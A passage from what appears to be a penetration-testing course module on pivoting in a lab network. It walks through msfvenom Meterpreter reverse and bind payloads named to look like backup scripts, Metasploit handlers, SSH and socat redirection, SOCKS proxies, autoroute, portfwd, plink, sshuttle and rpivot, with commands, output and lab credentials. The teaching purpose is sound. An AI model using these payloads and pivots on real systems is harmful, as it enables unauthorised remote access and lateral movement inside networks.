desktop connection is not feasible. You might want to upload / download files (when the
RDP clipboard is disabled), use exploits or low-level Windows API using a Meterpreter
session to perform enumeration on the Windows host, which is not possible using the built-in
Windows executables.

In these cases, we would have to find a pivot host, which is a common connection point
between our attack host and the Windows server. In our case, our pivot host would be the
Ubuntu server since it can connect to both: our attack host and the Windows target .
To gain a Meterpreter shell on Windows, we will create a Meterpreter HTTPS payload
using msfvenom , but the configuration of the reverse connection for the payload would be
the Ubuntu server's host IP address ( 172.16.5.129 ). We will use the port 8080 on the
Ubuntu server to forward all of our reverse packets to our attack hosts' 8000 port, where our
Metasploit listener is running.

Creating a Windows Payload with msfvenom

msfvenom -p windows/x64/meterpreter/reverse_https lhost=

<InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Windows from

the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 712 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe

Configuring & Starting the multi/handler

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload
windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
lport => 8000
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8000

Once our payload is created and we have our listener configured & running, we can copy the
payload to the Ubuntu server using the scp command since we already have the
credentials to connect to the Ubuntu server using SSH.

Transferring Payload to Pivot Host

scp backupscript.exe ubuntu@<ipAddressofTarget>:~/

backupscript.exe 100% 7168 65.4KB/s

00:00

After copying the payload, we will start a python3 HTTP server using the below command
on the Ubuntu server in the same directory where we copied our payload.

Starting Python3 Webserver on Pivot Host

ubuntu@Webserver$ python3 -m http.server 8123

Downloading Payload on the Windows Target

We can download this backupscript.exe on the Windows host via a web browser or the
PowerShell cmdlet Invoke-WebRequest .
PS C:\Windows\system32> Invoke-WebRequest -Uri
"http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"

Once we have our payload downloaded on the Windows host, we will use SSH remote port
forwarding to forward connections from the Ubuntu server's port 8080 to our msfconsole's
listener service on port 8000. We will use -vN argument in our SSH command to make it
verbose and ask it not to prompt the login shell. The -R command asks the Ubuntu server to
listen on <targetIPaddress>:8080 and forward all incoming connections on port 8080 to
our msfconsole listener on 0.0.0.0:8000 of our attack host .

Using SSH -R

ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000
ubuntu@<ipAddressofTarget> -vN

After creating the SSH remote port forward, we can execute the payload from the Windows
target. If the payload is executed as intended and attempts to connect back to our listener,
we can see the logs from the pivot on the pivot host.

Viewing the Logs from the Pivot

ebug1: client_request_forwarded_tcpip: listen 172.16.5.129 port 8080,

originator 172.16.5.19 port 61355
debug1: connect_next: host 0.0.0.0 ([0.0.0.0]:8000) in progress, fd=5
debug1: channel 1: new [172.16.5.19]
debug1: confirm forwarded-tcpip
debug1: channel 0: free: 172.16.5.19, nchannels 2
debug1: channel 1: connected to 0.0.0.0 port 8000
debug1: channel 1: free: 172.16.5.19, nchannels 1
debug1: client_input_channel_open: ctype forwarded-tcpip rchan 2 win
2097152 max 32768
debug1: client_request_forwarded_tcpip: listen 172.16.5.129 port 8080,
originator 172.16.5.19 port 61356
debug1: connect_next: host 0.0.0.0 ([0.0.0.0]:8000) in progress, fd=4
debug1: channel 0: new [172.16.5.19]
debug1: confirm forwarded-tcpip
debug1: channel 0: connected to 0.0.0.0 port 8000

If all is set up properly, we will receive a Meterpreter shell pivoted via the Ubuntu server.

Meterpreter Session Established

[*] Started HTTPS reverse handler on https://0.0.0.0:8000
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9)
Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9)
Staging x64 payload (201308 bytes) ...
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9)
Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (127.0.0.1:8000 -> 127.0.0.1 ) at 2022-
03-02 10:48:10 -0500

meterpreter > shell

Process 3236 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\>

Our Meterpreter session should list that our incoming connection is from a local host itself (
127.0.0.1 ) since we are receiving the connection over the local SSH socket , which
created an outbound connection to the Ubuntu server. Issuing the netstat command can
show us that the incoming connection is from the SSH service.

The below graphical representation provides an alternative way to understand this

technique.

In addition to answering the challenge questions, practice this technique and try to obtain a
reverse shell from the Windows target.
Meterpreter Tunneling & Port Forwarding

Now let us consider a scenario where we have our Meterpreter shell access on the Ubuntu
server (the pivot host), and we want to perform enumeration scans through the pivot host,
but we would like to take advantage of the conveniences that Meterpreter sessions bring us.
In such cases, we can still create a pivot with our Meterpreter session without relying on
SSH port forwarding. We can create a Meterpreter shell for the Ubuntu server with the below
command, which will return a shell on our attack host on port 8080 .

Creating Payload for Ubuntu Pivot Host

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o

backupjob LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Linux from

the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: backupjob

Before copying the payload over, we can start a multi/handler, also known as a Generic
Payload Handler.

Configuring & Starting the multi/handler

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > set payload
linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8080

We can copy the backupjob binary file to the Ubuntu pivot host over SSH and execute it to
gain a Meterpreter session.
Executing the Payload on the Pivot Host

ubuntu@WebServer:~$ ls

backupjob
ubuntu@WebServer:~$ chmod +x backupjob
ubuntu@WebServer:~$ ./backupjob

We need to make sure the Meterpreter session is successfully established upon executing
the payload.

Meterpreter Session Establishment

[*] Sending stage (3020772 bytes) to 10.129.202.64

[*] Meterpreter session 1 opened (10.10.14.18:8080 -> 10.129.202.64:39826
) at 2022-03-03 12:27:43 -0500
meterpreter > pwd

/home/ubuntu

We know that the Windows target is on the 172.16.5.0/23 network. So assuming that the
firewall on the Windows target is allowing ICMP requests, we would want to perform a ping
sweep on this network. We can do that using Meterpreter with the ping_sweep module,
which will generate the ICMP traffic from the Ubuntu host to the network 172.16.5.0/23 .

Ping Sweep

meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23

[*] Performing ping sweep for IP range 172.16.5.0/23

We could also perform a ping sweep using a for loop directly on a target pivot host that
will ping any device in the network range we specify. Here are two helpful ping sweep for
loop one-liners we could use for Linux-based and Windows-based pivot hosts.

Ping Sweep For Loop on Linux Pivot Hosts

for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done

Ping Sweep For Loop Using CMD

for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"

Ping Sweep Using PowerShell

1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp

172.15.5.$($_) -quiet)"}

Note: It is possible that a ping sweep may not result in successful replies on the first attempt,
especially when communicating across networks. This can be caused by the time it takes for
a host to build it's arp cache. In these cases, it is good to attempt our ping sweep at least
twice to ensure the arp cache gets built.

There could be scenarios when a host's firewall blocks ping (ICMP), and the ping won't get
us successful replies. In these cases, we can perform a TCP scan on the 172.16.5.0/23
network with Nmap. Instead of using SSH for port forwarding, we can also use Metasploit's
post-exploitation routing module socks_proxy to configure a local proxy on our attack host.
We will configure the SOCKS proxy for SOCKS version 4a . This SOCKS configuration will
start a listener on port 9050 and route all the traffic received via our Meterpreter session.

Configuring MSF's SOCKS Proxy

msf6 > use auxiliary/server/socks_proxy

msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050

SRVPORT => 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 4a
version => 4a
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.

[*] Starting the SOCKS proxy server

msf6 auxiliary(server/socks_proxy) > options

Module options (auxiliary/server/socks_proxy):

Name Current Setting Required Description

---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 9050 yes The port to listen on
VERSION 4a yes The SOCKS version to use (Accepted:
4a,
5)
Auxiliary action:

Name Description
---- -----------
Proxy Run a SOCKS proxy server

Confirming Proxy Server is Running

msf6 auxiliary(server/socks_proxy) > jobs

Jobs
====

Id Name Payload Payload opts

-- ---- ------- ------------
0 Auxiliary: server/socks_proxy

After initiating the SOCKS server, we will configure proxychains to route traffic generated by
other tools like Nmap through our pivot on the compromised Ubuntu host. We can add the
below line at the end of our proxychains.conf file located at /etc/proxychains.conf if it
isn't already there.

Adding a Line to proxychains.conf if Needed

socks4 127.0.0.1 9050

Note: Depending on the version the SOCKS server is running, we may occasionally need to
changes socks4 to socks5 in proxychains.conf.

Finally, we need to tell our socks_proxy module to route all the traffic via our Meterpreter
session. We can use the post/multi/manage/autoroute module from Metasploit to add
routes for the 172.16.5.0 subnet and then route all our proxychains traffic.

Creating Routes with AutoRoute

msf6 > use post/multi/manage/autoroute

msf6 post(multi/manage/autoroute) > set SESSION 1

SESSION => 1
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
SUBNET => 172.16.5.0
msf6 post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: linux
[*] Running module against 10.129.202.64
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing
table.
[+] Route added to subnet 172.16.5.0/255.255.254.0 from host's routing
table.
[*] Post module execution completed

It is also possible to add routes with autoroute by running autoroute from the Meterpreter
session.

meterpreter > run autoroute -s 172.16.5.0/23

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.

[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.5.0/255.255.254.0...
[+] Added route to 172.16.5.0/255.255.254.0 via 10.129.202.64
[*] Use the -p option to list all active routes

After adding the necessary route(s) we can use the -p option to list the active routes to
make sure our configuration is applied as expected.

Listing Active Routes with AutoRoute

meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.

[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table

====================

Subnet Netmask Gateway

------ ------- -------
10.129.0.0 255.255.0.0 Session 1
172.16.4.0 255.255.254.0 Session 1
172.16.5.0 255.255.254.0 Session 1

As you can see from the output above, the route has been added to the 172.16.5.0/23
network. We will now be able to use proxychains to route our Nmap traffic via our
Meterpreter session.
Testing Proxy & Routing Functionality

proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn

PORT STATE SERVICE

3389/tcp open ms-wbt-server

Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds

Port Forwarding
Port forwarding can also be accomplished using Meterpreter's portfwd module. We can
enable a listener on our attack host and request Meterpreter to forward all the packets
received on this port via our Meterpreter session to a remote host on the 172.16.5.0/23
network.

Portfwd options

meterpreter > help portfwd

Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the
"list" command).
-l <opt> Forward: local port to listen on. Reverse: local port to
connect to.
-L <opt> Forward: local host to listen on (optional). Reverse: local
host to connect to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to
listen on.
-r <opt> Forward: remote host to connect to.
-R Indicates a reverse port forward.

Creating Local TCP Relay

meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19

[*] Local TCP relay created: :3300 <-> 172.16.5.19:3389

The above command requests the Meterpreter session to start a listener on our attack host's
local port ( -l ) 3300 and forward all the packets to the remote ( -r ) Windows server
172.16.5.19 on 3389 port ( -p ) via our Meterpreter session. Now, if we execute xfreerdp
on our localhost:3300, we will be able to create a remote desktop session.

Connecting to Windows Target through localhost

xfreerdp /v:localhost:3300 /u:victor /p:pass@123

Netstat Output
We can use Netstat to view information about the session we recently established. From a
defensive perspective, we may benefit from using Netstat if we suspect a host has been
compromised. This allows us to view any sessions a host has established.

netstat -antp

tcp 0 0 127.0.0.1:54652 127.0.0.1:3300

ESTABLISHED 4075/xfreerdp

Meterpreter Reverse Port Forwarding

Similar to local port forwards, Metasploit can also perform reverse port forwarding with
the below command, where you might want to listen on a specific port on the compromised
server and forward all incoming shells from the Ubuntu server to our attack host. We will
start a listener on a new port on our attack host for Windows and request the Ubuntu server
to forward all requests received to the Ubuntu server on port 1234 to our listener on port
8081 .

We can create a reverse port forward on our existing shell from the previous scenario using
the below command. This command forwards all connections on port 1234 running on the
Ubuntu server to our attack host on local port ( -l ) 8081 . We will also configure our listener
to listen on port 8081 for a Windows shell.

Reverse Port Forwarding Rules

meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18

[*] Local TCP relay created: 10.10.14.18:8081 <-> :1234

Configuring & Starting multi/handler

meterpreter > bg

[*] Backgrounding session 1...

msf6 exploit(multi/handler) > set payload
windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 8081
LPORT => 8081
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:8081

We can now create a reverse shell payload that will send a connection back to our Ubuntu
server on 172.16.5.129 : 1234 when executed on our Windows host. Once our Ubuntu
server receives this connection, it will forward that to attack host's ip : 8081 that we
configured.

Generating the Windows Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe

-o backupscript.exe LPORT=1234

[-] No platform was selected, choosing Msf::Module::Platform::Windows from

the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe

Finally, if we execute our payload on the Windows host, we should be able to receive a shell
from Windows pivoted via the Ubuntu server.

Establishing the Meterpreter session

[*] Started reverse TCP handler on 0.0.0.0:8081

[*] Sending stage (200262 bytes) to 10.10.14.18
[*] Meterpreter session 2 opened (10.10.14.18:8081 -> 10.10.14.18:40173 )
at 2022-03-04 15:26:14 -0500

meterpreter > shell

Process 2336 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\>

Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.

Socat Redirection with a Reverse Shell

Socat is a bidirectional relay tool that can create pipe sockets between 2 independent
network channels without needing to use SSH tunneling. It acts as a redirector that can
listen on one host and port and forward that data to another IP address and port. We can
start Metasploit's listener using the same command mentioned in the last section on our
attack host, and we can start socat on the Ubuntu server.

Starting Socat Listener

ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80

Socat will listen on localhost on port 8080 and forward all the traffic to port 80 on our attack
host (10.10.14.18). Once our redirector is configured, we can create a payload that will
connect back to our redirector, which is running on our Ubuntu server. We will also start a
listener on our attack host because as soon as socat receives a connection from a target, it
will redirect all the traffic to our attack host's listener, where we would be getting a shell.

Creating the Windows Payload

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f

exe -o backupscript.exe LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Windows from

the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 743 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe

Keep in mind that we must transfer this payload to the Windows host. We can use some of
the same techniques used in previous sections to do so.

Starting MSF Console

sudo msfconsole

<SNIP>

Configuring & Starting the multi/handler

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

[*] Started HTTPS reverse handler on https://0.0.0.0:80

We can test this by running our payload on the windows host again, and we should see a
network connection from the Ubuntu server this time.

Establishing the Meterpreter Session

[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID:

8hwcvdrp) Without a database connected that payload UUID tracking will not
work!
[*] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID:
8hwcvdrp) Staging x64 payload (201308 bytes) ...
[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID:
8hwcvdrp) Without a database connected that payload UUID tracking will not
work!
[*] Meterpreter session 1 opened (10.10.14.18:80 -> 127.0.0.1 ) at 2022-
03-07 11:08:10 -0500

meterpreter > getuid

Server username: INLANEFREIGHT\victor

Socat Redirection with a Bind Shell

Similar to our socat's reverse shell redirector, we can also create a socat bind shell
redirector. This is different from reverse shells that connect back from the Windows server to
the Ubuntu server and get redirected to our attack host. In the case of bind shells, the
Windows server will start a listener and bind to a particular port. We can create a bind shell
payload for Windows and execute it on the Windows host. At the same time, we can create a
socat redirector on the Ubuntu server, which will listen for incoming connections from a
Metasploit bind handler and forward that to a bind shell payload on a Windows target. The
below figure should explain the pivot in a much better way.
We can create a bind shell using msfvenom with the below command.

Creating the Windows Payload

msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe

LPORT=8443

[-] No platform was selected, choosing Msf::Module::Platform::Windows from

the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 499 bytes
Final size of exe file: 7168 bytes
Saved as: backupjob.exe

We can start a socat bind shell listener, which listens on port 8080 and forwards
packets to Windows server 8443 .

Starting Socat Bind Shell Listener

ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443

Finally, we can start a Metasploit bind handler. This bind handler can be configured to
connect to our socat's listener on port 8080 (Ubuntu server)

Configuring & Starting the Bind multi/handler

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 10.129.202.64
RHOST => 10.129.202.64
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 10.129.202.64:8080

We can see a bind handler connected to a stage request pivoted via a socat listener upon
executing the payload on a Windows target.
Establishing Meterpreter Session

[*] Sending stage (200262 bytes) to 10.129.202.64

[*] Meterpreter session 1 opened (10.10.14.18:46253 -> 10.129.202.64:8080
) at 2022-03-07 12:44:44 -0500

meterpreter > getuid

Server username: INLANEFREIGHT\victor

SSH for Windows: plink.exe

Plink, short for PuTTY Link, is a Windows command-line SSH tool that comes as a part of
the PuTTY package when installed. Similar to SSH, Plink can also be used to create
dynamic port forwards and SOCKS proxies. Before the Fall of 2018, Windows did not have a
native ssh client included, so users would have to install their own. The tool of choice for
many a sysadmin who needed to connect to other hosts was PuTTY.

Imagine that we are on a pentest and gain access to a Windows machine. We quickly
enumerate the host and its security posture and determine that it is moderately locked down.
We need to use this host as a pivot point, but it is unlikely that we will be able to pull our own
tools onto the host without being exposed. Instead, we can live off the land and use what is
already there. If the host is older and PuTTY is present (or we can find a copy on a file
share), Plink can be our path to victory. We can use it to create our pivot and potentially
avoid detection a little longer.

That is just one potential scenario where Plink could be beneficial. We could also use Plink if
we use a Windows system as our primary attack host instead of a Linux-based system.

Getting To Know Plink

In the below image, we have a Windows-based attack host.
The Windows attack host starts a plink.exe process with the below command-line arguments
to start a dynamic port forward over the Ubuntu server. This starts an SSH session between
the Windows attack host and the Ubuntu server, and then plink starts listening on port 9050.

Using Plink.exe

plink -ssh -D 9050 [email protected]

Another Windows-based tool called Proxifier can be used to start a SOCKS tunnel via the
SSH session we created. Proxifier is a Windows tool that creates a tunneled network for
desktop client applications and allows it to operate through a SOCKS or HTTPS proxy and
allows for proxy chaining. It is possible to create a profile where we can provide the
configuration for our SOCKS server started by Plink on port 9050.
After configuring the SOCKS server for 127.0.0.1 and port 9050, we can directly start
mstsc.exe to start an RDP session with a Windows target that allows RDP connections.

Note: We can attempt this technique in any interactive section of this module from a personal
Windows-based attack host. Once you've completed this module from a Linux-based attack
host feel free to try to go back through it from a personal Windows-based attack host. Also,
when spawning your target we ask you to wait for 3 - 5 minutes until the whole lab with all
the configurations is set up so that the connection to your target works flawlessly.

SSH Pivoting with Sshuttle

Sshuttle is another tool written in Python which removes the need to configure proxychains.
However, this tool only works for pivoting over SSH and does not provide other options for
pivoting over TOR or HTTPS proxy servers. Sshuttle can be extremely useful for
automating the execution of iptables and adding pivot rules for the remote host. We can
configure the Ubuntu server as a pivot point and route all of Nmap's network traffic with
sshuttle using the example later in this section.

One interesting usage of sshuttle is that we don't need to use proxychains to connect to the
remote hosts. Let's install sshuttle via our Ubuntu pivot host and configure it to connect to
the Windows host via RDP.

Installing sshuttle

sudo apt-get install sshuttle

Reading package lists... Done

Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer
required:
alsa-tools golang-1.15 golang-1.15-doc golang-1.15-go golang-1.15-src
golang-1.16-src libcmis-0.5-5v5 libct4 libgvm20 liblibreoffice-java
libmotif-common libqrcodegencpp1 libunoloader-java libxm4
linux-headers-5.10.0-6parrot1-common python-babel-localedata
python3-aiofiles python3-babel python3-fastapi python3-pydantic
python3-slowapi python3-starlette python3-uvicorn sqsh ure-java
Use 'sudo apt autoremove' to remove them.
Suggested packages:
autossh
The following NEW packages will be installed:
sshuttle
0 upgraded, 1 newly installed, 0 to remove and 4 not upgraded.
Need to get 91.8 kB of archives.
After this operation, 508 kB of additional disk space will be used.
Get:1 https://ftp-stud.hs-esslingen.de/Mirrors/archive.parrotsec.org
rolling/main amd64 sshuttle all 1.0.5-1 [91.8 kB]
Fetched 91.8 kB in 2s (52.1 kB/s)
Selecting previously unselected package sshuttle.
(Reading database ... 468019 files and directories currently installed.)
Preparing to unpack .../sshuttle_1.0.5-1_all.deb ...
Unpacking sshuttle (1.0.5-1) ...
Setting up sshuttle (1.0.5-1) ...
Processing triggers for man-db (2.9.4-2) ...
Processing triggers for doc-base (0.11.1) ...
Processing 1 added doc-base file...
Scanning application launchers
Removing duplicate launchers or broken launchers
Launchers are updated

To use sshuttle, we specify the option -r to connect to the remote machine with a
username and password. Then we need to include the network or IP we want to route
through the pivot host, in our case, is the network 172.16.5.0/23.

Running sshuttle

sudo sshuttle -r [email protected] 172.16.5.0/23 -v

Starting sshuttle proxy (version 1.1.0).

c : Starting firewall manager with command: ['/usr/bin/python3',
'/usr/local/lib/python3.9/dist-packages/sshuttle/__main__.py', '-v', '--
method', 'auto', '--firewall']
fw: Starting firewall with Python version 3.9.2
fw: ready method name nat.
c : IPv6 enabled: Using default IPv6 listen address ::1
c : Method: nat
c : IPv4: on
c : IPv6: on
c : UDP : off (not available with nat method)
c : DNS : off (available)
c : User: off (available)
c : Subnets to forward through remote host (type, IP, cidr mask width,
startPort, endPort):
c : (<AddressFamily.AF_INET: 2>, '172.16.5.0', 32, 0, 0)
c : Subnets to exclude from forwarding:
c : (<AddressFamily.AF_INET: 2>, '127.0.0.1', 32, 0, 0)
c : (<AddressFamily.AF_INET6: 10>, '::1', 128, 0, 0)
c : TCP redirector listening on ('::1', 12300, 0, 0).
c : TCP redirector listening on ('127.0.0.1', 12300).
c : Starting client with Python version 3.9.2
c : Connecting to server...
[email protected]'s password:
s: Running server on remote host with /usr/bin/python3 (version 3.8.10)
s: latency control setting = True
s: auto-nets:False
c : Connected to server.
fw: setting up.
fw: ip6tables -w -t nat -N sshuttle-12300
fw: ip6tables -w -t nat -F sshuttle-12300
fw: ip6tables -w -t nat -I OUTPUT 1 -j sshuttle-12300
fw: ip6tables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type
LOCAL
fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN --dest ::1/128 -p tcp
fw: iptables -w -t nat -N sshuttle-12300
fw: iptables -w -t nat -F sshuttle-12300
fw: iptables -w -t nat -I OUTPUT 1 -j sshuttle-12300
fw: iptables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type
LOCAL
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p
tcp
fw: iptables -w -t nat -A sshuttle-12300 -j REDIRECT --dest 172.16.5.0/32
-p tcp --to-ports 12300

With this command, sshuttle creates an entry in our iptables to redirect all traffic to the
172.16.5.0/23 network through the pivot host.

Traffic Routing through iptables Routes

nmap -v -sV -p3389 172.16.5.19 -A -Pn

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan
times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-08 11:16 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 11:16
Completed Parallel DNS resolution of 1 host. at 11:16, 0.15s elapsed
Initiating Connect Scan at 11:16
Scanning 172.16.5.19 [1 port]
Completed Connect Scan at 11:16, 2.00s elapsed (1 total ports)
Initiating Service scan at 11:16
NSE: Script scanning 172.16.5.19.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Nmap scan report for 172.16.5.19
Host is up.

PORT STATE SERVICE VERSION

Host script results:

|_clock-skew: mean: 6s, deviation: 0s, median: 6s

NSE: Script Post-scanning.

Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.07 seconds

We can now use any tool directly without using proxychains.

Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.
SSH to the target with user " ubuntu " and password " HTB_@cademy_stdnt! "

Web Server Pivoting with Rpivot

Rpivot is a reverse SOCKS proxy tool written in Python for SOCKS tunneling. Rpivot binds a
machine inside a corporate network to an external server and exposes the client's local port
on the server-side. We will take the scenario below, where we have a web server on our
internal network ( 172.16.5.135 ), and we want to access that using the rpivot proxy.
We can start our rpivot SOCKS proxy server using the below command to allow the client to
connect on port 9999 and listen on port 9050 for proxy pivot connections.

Cloning rpivot

git clone https://github.com/klsecservices/rpivot.git

Installing Python2.7

sudo apt-get install python2.7

Alternative Installation of Python2.7

curl https://pyenv.run | bash

echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"'
>> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
pyenv install 2.7
pyenv shell 2.7

We can start our rpivot SOCKS proxy server to connect to our client on the compromised
Ubuntu server using server.py .

Running server.py from the Attack Host

python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip

0.0.0.0
Before running client.py we will need to transfer rpivot to the target. We can do this using
this SCP command:

Transfering rpivot to the Target

scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/

Running client.py from Pivot Target

ubuntu@WEB01:~/rpivot$ python2.7 client.py --server-ip 10.10.14.18 --

server-port 9999

Backconnecting to server 10.10.14.18 port 9999

Confirming Connection is Established

New connection from host 10.129.202.64, source port 35226

We will configure proxychains to pivot over our local server on 127.0.0.1:9050 on our attack
host, which was initially started by the Python server.

Finally, we should be able to access the webserver on our server-side, which is hosted on
the internal network of 172.16.5.0/23 at 172.16.5.135:80 using proxychains and Firefox.

Browsing to the Target Webserver using Proxychains

proxychains firefox-esr 172.16.5.135:80

Similar to the pivot proxy above, there could be scenarios when we cannot directly pivot to
an external server (attack host) on the cloud. Some organizations have HTTP-proxy with
NTLM authentication configured with the Domain Controller. In such cases, we can provide
an additional NTLM authentication option to rpivot to authenticate via the NTLM proxy by
providing a username and password. In these cases, we could use rpivot's client.py in the
following way:

Connecting to a Web Server using HTTP-Proxy & NTLM Auth

python client.py --server-ip <IPaddressofTargetWebServer> --server-port

8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain
<nameofWindowsDomain> --username <username> --password <password>

Port Forwarding with Windows Netsh

Netsh is a Windows command-line tool that can help with the network configuration of a
particular Windows system. Here are just some of the networking related tasks we can use
Netsh for:

Finding routes
Viewing the firewall configuration
Adding proxies
Creating port forwarding rules
Let's take an example of the below scenario where our compromised host is a Windows 10-
